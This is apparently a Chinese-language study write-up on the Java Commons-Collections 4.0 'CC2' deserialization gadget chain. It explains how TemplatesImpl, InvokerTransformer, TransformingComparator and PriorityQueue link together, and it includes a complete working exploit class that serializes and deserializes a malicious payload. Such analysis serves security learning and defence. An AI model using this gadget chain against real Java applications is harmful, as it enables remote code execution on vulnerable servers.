Java_Commons-Collections 2(CC2) 学习过程
Java_Commons-Collections 2 学习过程
环境配置
Maven 3.8.8
Commons-Collections 4.0
CC2链子分析
CC2可以说就是CC4的精简版,不用Transformer
数组了,在 CC4 链的基础上,抛弃了用 InstantiateTransformer
类将 TrAXFilter
初始化,以及 TemplatesImpl.newTransformer()
这个步骤
而是从compare
通过InvokerTransformer
来连接到TemplatesImpl
难点在于用
InvokerTransformer
的连接。
第一部分
还是按照从后往前的思路先把后面的动态加载字节码部分写了
package CC2;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class CC2Exp{
public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException, TransformerConfigurationException {
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"nbc");
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("S:\\JavaSecureDemo\\CC\\Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
templates.newTransformer();
}
}
看到最后的newTransformer()
就可以想到了在CC3的时候只要能碰到newTransformer()
方法,便可以进行命令执行
开头也说了在CC2中是通过InvokerTransformer
来连接的而不是原本CC4通过InstantiateTransformer
走过来
再回过头看看InvokeTransformer
是的这是一个反射调用
然后我们就可以通过这个来调用到newTransformer()
方法
这样写
InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
第二部分
再往后我们先按照CC4那套写到cpmpare()
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add("nbc");
Class c = transformingComparator.getClass();
Field transformingField = c.getDeclaredField("transformer");
transformingField.setAccessible(true);
transformingField.set(transformingComparator, invokerTransformer);
创建 TransformingComparator 类对象,传⼊一个临时的Transformer 类对象,这是为了让代码能够不本地执行,在反序列化的时候执行。
这里为什么第一个add的是templates
这就是将CC4的前半段连接到
InvokerTransformer
之处了,这里transformer是可控的只需要将他赋值为invokerTransformer就连接上了,这里为了不在本地运行而反序列化的时候执行传⼊一个临时的Transformer 类对象然后通过反射修改值因为在
TransformingComparator.compare()
已经写了obj1是第一个要转换然后比较的对象,也就是队列中的第一个元素,而这个队列就是PriorityQueue()中的,add两个的原因也是跟CC4相同
一点疑惑
为什么把templates放在第二个传进去就不行了obj2不行么
打个断点看这是因为在反序列化执行第一个this.transformer.transform(obj1)
执行完命令后会抛异常就断掉了
也是很奇怪
最终Exp
package CC2;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CC2Exp{
public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException, TransformerConfigurationException, ClassNotFoundException {
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"nbc");
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("S:\\JavaSecureDemo\\CC\\Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
// templates.newTransformer();
InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add("nbc");
Class c = transformingComparator.getClass();
Field transformingField = c.getDeclaredField("transformer");
transformingField.setAccessible(true);
transformingField.set(transformingComparator, invokerTransformer);
serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
多说一点
CC2 CC4链只能在commons-collections 4.0中,原因在于commons-collections 3中的TransformingComparator未实现Serializable接口不能序列化与反序列化
CC2 链区别与其他链子一点的区别在于没有用 Transformer
数组。不用数组是因为比如 shiro 当中的漏洞,它会重写很多动态加载数组的方法,这就可能会导致我们的 EXP 无法通过数组实现